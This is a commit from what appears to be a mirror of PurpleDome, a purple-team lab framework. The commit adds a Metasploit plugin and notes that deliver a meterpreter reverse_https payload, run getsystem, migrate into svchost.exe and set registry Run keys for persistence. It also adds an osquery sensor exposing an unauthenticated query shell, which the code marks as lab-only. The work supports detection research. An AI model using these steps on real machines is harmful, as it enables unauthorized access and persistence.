mirror of https://github.com/avast/PurpleDome
Thorsten Sick
3 years ago
committed by
GitHub
commit
fc5ec6a702
@ -0,0 +1,17 @@
|
|||||||
|
Manual operation
|
||||||
|
----------------
|
||||||
|
|
||||||
|
target: start babymetal.exe
|
||||||
|
|
||||||
|
attacker:
|
||||||
|
|
||||||
|
use exploit/multi/handler
|
||||||
|
set payload windows/x64/meterpreter/reverse_https
|
||||||
|
set LHOST 192.168.178.189 (YMMV)
|
||||||
|
set LPORT 6666 (YMMV)
|
||||||
|
run
|
||||||
|
100.64.0.25 on kali
|
||||||
|
100.64.0.25 on win
|
||||||
|
|
||||||
|
getsystem
|
||||||
|
reg setval -k HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run -v purpledome -d c:\windows\system32\calc.exe
|
||||||
@ -0,0 +1,42 @@
|
|||||||
|
###
|
||||||
|
# Configuration for autostart experiments
|
||||||
|
|
||||||
|
### Registry key to set
|
||||||
|
# 0: "HKCU\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run",
|
||||||
|
# 1: "HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run",
|
||||||
|
# 2: HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnceEx\\\\0001\\\\Depend
|
||||||
|
regkey_variant: 2
|
||||||
|
|
||||||
|
### Data to set
|
||||||
|
# 0: c:\\windows\\system32\\calc.exe
|
||||||
|
# 1: c:\temp\evil.dll
|
||||||
|
# 2: c:\dummy.dll
|
||||||
|
data_options: 0
|
||||||
|
|
||||||
|
###
|
||||||
|
# Run getsystem first ?
|
||||||
|
getsystem: True
|
||||||
|
|
||||||
|
###
|
||||||
|
# Name of the registry key to add
|
||||||
|
value: purpledome3_new2
|
||||||
|
|
||||||
|
###
|
||||||
|
# meterpreter commands to execute before migrating to a new process
|
||||||
|
# Can be used to start processes to hide in
|
||||||
|
|
||||||
|
# start_commands:
|
||||||
|
# - execute -f calc.exe
|
||||||
|
|
||||||
|
### Upload files (those could be autostarted !)
|
||||||
|
#
|
||||||
|
upload:
|
||||||
|
- dummy.dll
|
||||||
|
|
||||||
|
###
|
||||||
|
# Migrate to a new process before modifying the registry
|
||||||
|
migrate: No
|
||||||
|
|
||||||
|
###
|
||||||
|
# Process to migrate to
|
||||||
|
migrate_target: svchost.exe
|
||||||
@ -0,0 +1,121 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
|
||||||
|
# A plugin to nmap targets slow motion, to evade sensors
|
||||||
|
|
||||||
|
from plugins.base.attack import AttackPlugin, Requirement
|
||||||
|
from app.interface_sfx import CommandlineColors
|
||||||
|
import os
|
||||||
|
|
||||||
|
|
||||||
|
class MetasploitAutostart1Plugin(AttackPlugin):
|
||||||
|
|
||||||
|
# Boilerplate
|
||||||
|
name = "metasploit_registry_autostart_1"
|
||||||
|
description = "Modify the registry to autostart"
|
||||||
|
ttp = "T1547_1"
|
||||||
|
references = ["https://attack.mitre.org/techniques/T1547/001/"]
|
||||||
|
tactics = "Persistence"
|
||||||
|
tactics_id = "TA0003"
|
||||||
|
|
||||||
|
required_files = [] # Files shipped with the plugin which are needed by the kali tool. Will be copied to the kali share
|
||||||
|
requirements = [Requirement.METASPLOIT]
|
||||||
|
|
||||||
|
def __init__(self):
|
||||||
|
super().__init__()
|
||||||
|
self.plugin_path = __file__
|
||||||
|
|
||||||
|
def run(self, targets):
|
||||||
|
""" Run the command
|
||||||
|
|
||||||
|
@param targets: A list of targets, ip addresses will do
|
||||||
|
"""
|
||||||
|
|
||||||
|
res = ""
|
||||||
|
payload_type = "windows/x64/meterpreter/reverse_https"
|
||||||
|
payload_name = "babymetal.exe"
|
||||||
|
target = self.targets[0]
|
||||||
|
|
||||||
|
# self.connect_metasploit()
|
||||||
|
# ip = socket.gethostbyname(self.attacker_machine_plugin.get_ip())
|
||||||
|
self.metasploit.smart_infect(target,
|
||||||
|
# lhost=ip,
|
||||||
|
payload=payload_type,
|
||||||
|
outfile=payload_name,
|
||||||
|
format="exe",
|
||||||
|
architecture="x64")
|
||||||
|
|
||||||
|
###
|
||||||
|
|
||||||
|
rkeys = [r"HKCU\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run",
|
||||||
|
r"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Run",
|
||||||
|
r"HKLM\\\\SOFTWARE\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\RunOnceEx\\\\0001\\\\Depend"
|
||||||
|
]
|
||||||
|
regkey = rkeys[self.conf['regkey_variant']]
|
||||||
|
# value = "purpledome"
|
||||||
|
|
||||||
|
data_options = [r"c:\\windows\\system32\\calc.exe ",
|
||||||
|
r"c:\\temp\\evil.dll",
|
||||||
|
r"c:\\dummy.dll"]
|
||||||
|
data = data_options[self.conf['data_options']]
|
||||||
|
# data = r"c:\\windows\\system32\\calc.exe "
|
||||||
|
|
||||||
|
# regkey = self.conf['regkey']
|
||||||
|
value = self.conf["value"]
|
||||||
|
# data = self.conf["data"]
|
||||||
|
command_set = f"reg setval -k {regkey} -v {value} -d {data}"
|
||||||
|
command_create = f"reg createkey -k {regkey}"
|
||||||
|
|
||||||
|
if self.conf["getsystem"]:
|
||||||
|
self.metasploit.getsystem(target,
|
||||||
|
variant=0,
|
||||||
|
situation_description="Elevating privileges to write to the registry",
|
||||||
|
countermeasure="Observe how pipes are used. Take steps before (gaining access) and after (abusing those new privileges) into account for detection."
|
||||||
|
)
|
||||||
|
|
||||||
|
self.attack_logger.vprint(
|
||||||
|
f"{CommandlineColors.OKCYAN}Execute {command_set} through meterpreter{CommandlineColors.ENDC}", 1)
|
||||||
|
|
||||||
|
if "upload" in self.conf and len(self.conf["upload"]):
|
||||||
|
print(f"Before {self.metasploit.meterpreter_execute_on(['pwd'], target)}")
|
||||||
|
print(self.metasploit.meterpreter_execute_on(["cd c:\\"], target))
|
||||||
|
print(f"After {self.metasploit.meterpreter_execute_on(['pwd'], target)}")
|
||||||
|
for src in self.conf["upload"]:
|
||||||
|
print(src)
|
||||||
|
self.attacker_machine_plugin.put(
|
||||||
|
os.path.join(os.path.dirname(self.plugin_path), "resources", src), src)
|
||||||
|
self.metasploit.upload(target, src, src) # Make sure the process to hide behind is running
|
||||||
|
|
||||||
|
if "start_commands" in self.conf and len(self.conf["start_commands"]):
|
||||||
|
for cmd in self.conf["start_commands"]:
|
||||||
|
print(cmd)
|
||||||
|
self.metasploit.meterpreter_execute_on([cmd], target) # Make sure the process to hide behind is running
|
||||||
|
|
||||||
|
if self.conf["migrate"]:
|
||||||
|
tgt = self.conf["migrate_target"]
|
||||||
|
print(f"Migrate to {tgt}")
|
||||||
|
self.metasploit.migrate(target, name=tgt)
|
||||||
|
|
||||||
|
logid = self.attack_logger.start_metasploit_attack(source=self.attacker_machine_plugin.get_ip(),
|
||||||
|
target=target.get_ip(),
|
||||||
|
metasploit_command=command_set,
|
||||||
|
ttp=self.ttp,
|
||||||
|
name="registry add run key",
|
||||||
|
description=self.description,
|
||||||
|
tactics=self.tactics,
|
||||||
|
tactics_id=self.tactics_id,
|
||||||
|
situation_description="",
|
||||||
|
countermeasure=""
|
||||||
|
)
|
||||||
|
res = self.metasploit.meterpreter_execute_on([command_create], target)
|
||||||
|
print(res)
|
||||||
|
res = self.metasploit.meterpreter_execute_on([command_set], target)
|
||||||
|
print(res)
|
||||||
|
self.attack_logger.stop_metasploit_attack(source=self.attacker_machine_plugin.get_ip(),
|
||||||
|
target=target.get_ip(),
|
||||||
|
metasploit_command=command_set,
|
||||||
|
ttp=self.ttp,
|
||||||
|
logid=logid,
|
||||||
|
result=res)
|
||||||
|
###
|
||||||
|
# breakpoint()
|
||||||
|
return res
|
||||||
@ -0,0 +1,3 @@
|
|||||||
|
# OSQuery
|
||||||
|
|
||||||
|
Standalone OSQuery experiment.
|
||||||
@ -0,0 +1,43 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
|
||||||
|
""" The remote bastion for the sensor. Used to control the osquery on the target. Opens a web command shell.
|
||||||
|
This is not meant to be secure and MUST NOT be used in a productive environment. As we use this in a hacking lab this
|
||||||
|
is reasonable.
|
||||||
|
|
||||||
|
Test with curl:
|
||||||
|
|
||||||
|
curl -X POST -F 'command=test' localhost:6666/osquery
|
||||||
|
|
||||||
|
(select timestamp from time)
|
||||||
|
"""
|
||||||
|
|
||||||
|
from flask import Flask, jsonify, request
|
||||||
|
import osquery
|
||||||
|
|
||||||
|
|
||||||
|
# TODO: Create a proper tool out of it
|
||||||
|
# TODO: Start osqueryi with proper parameters
|
||||||
|
# TODO: On the controller side: Find a collection of queries to get the system state
|
||||||
|
|
||||||
|
# TODO: Interesting tables: appcompat_shims, authenticode, autoexec, certificates, etc_hosts, logged_in_users
|
||||||
|
|
||||||
|
app = Flask(__name__)
|
||||||
|
osquery_instance = osquery.ExtensionClient('/home/vagrant/test.sock')
|
||||||
|
osquery_instance.open()
|
||||||
|
|
||||||
|
|
||||||
|
@app.route("/osquery", methods=['POST'])
|
||||||
|
def api():
|
||||||
|
data = {}
|
||||||
|
if request.method == 'POST':
|
||||||
|
command = request.form["command"]
|
||||||
|
data = {"command": command}
|
||||||
|
client = osquery_instance.extension_client()
|
||||||
|
data["result"] = client.query(command).response
|
||||||
|
return jsonify(data)
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
# Important: This is to be run on target hosts only. Those are hacked anyway.
|
||||||
|
# Very bad security practice to use it in real world.
|
||||||
|
app.run(host='0.0.0.0', port=6666) # nosec
|
||||||
@ -0,0 +1,72 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
|
||||||
|
# A plugin to experiment with Linux osquery
|
||||||
|
|
||||||
|
# https://github.com/osquery/osquery-python
|
||||||
|
|
||||||
|
from plugins.base.sensor import SensorPlugin
|
||||||
|
# import os
|
||||||
|
# from jinja2 import Environment, FileSystemLoader, select_autoescape
|
||||||
|
|
||||||
|
|
||||||
|
class LinuxOSQueryPlugin(SensorPlugin):
|
||||||
|
# Boilerplate
|
||||||
|
name = "osquery"
|
||||||
|
description = "Linux osquery plugin" # Can later be extended to support other OS-es as well
|
||||||
|
|
||||||
|
required_files = []
|
||||||
|
|
||||||
|
def __init__(self):
|
||||||
|
super().__init__()
|
||||||
|
self.plugin_path = __file__
|
||||||
|
|
||||||
|
self.debugit = False
|
||||||
|
|
||||||
|
def process_templates(self):
|
||||||
|
""" process jinja2 templates of the config files and insert own config """
|
||||||
|
|
||||||
|
pass
|
||||||
|
|
||||||
|
def prime(self):
|
||||||
|
""" Hard-core install. Requires a reboot """
|
||||||
|
|
||||||
|
# pg = self.get_playground()
|
||||||
|
|
||||||
|
self.vprint("Installing Linux OSQuery", 3)
|
||||||
|
|
||||||
|
self.run_cmd('echo "deb [arch=amd64] https://pkg.osquery.io/deb deb main" | sudo tee /etc/apt/sources.list.d/osquery.list')
|
||||||
|
self.run_cmd("sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 1484120AC4E9F8A1A577AEEE97A80C63C9D8B80B")
|
||||||
|
self.run_cmd("sudo apt update")
|
||||||
|
self.run_cmd("sudo apt -y install osquery")
|
||||||
|
self.run_cmd("")
|
||||||
|
# sudo apt -y install python3-pip
|
||||||
|
# pip install osquery
|
||||||
|
|
||||||
|
return False
|
||||||
|
|
||||||
|
def install(self):
|
||||||
|
""" Installs the filebeat sensor """
|
||||||
|
|
||||||
|
return
|
||||||
|
|
||||||
|
def start(self):
|
||||||
|
self.run_cmd("osqueryi --ephemeral --disable_logging --disable_database --extensions_socket /home/vagrant/test.sock") # TODO: Find better socket name
|
||||||
|
|
||||||
|
"""
|
||||||
|
ec = osquery.ExtensionClient("/home/vagrant/test.sock")
|
||||||
|
ec.open()
|
||||||
|
c = ec.extension_client()
|
||||||
|
c.query("select timestamp from time")
|
||||||
|
"""
|
||||||
|
|
||||||
|
return None
|
||||||
|
|
||||||
|
def stop(self):
|
||||||
|
""" Stop the sensor """
|
||||||
|
return
|
||||||
|
|
||||||
|
def collect(self, path):
|
||||||
|
""" Collect sensor data """
|
||||||
|
|
||||||
|
dst = ""
|
||||||
|
return [dst]
|
||||||
Loading…
Reference in New Issue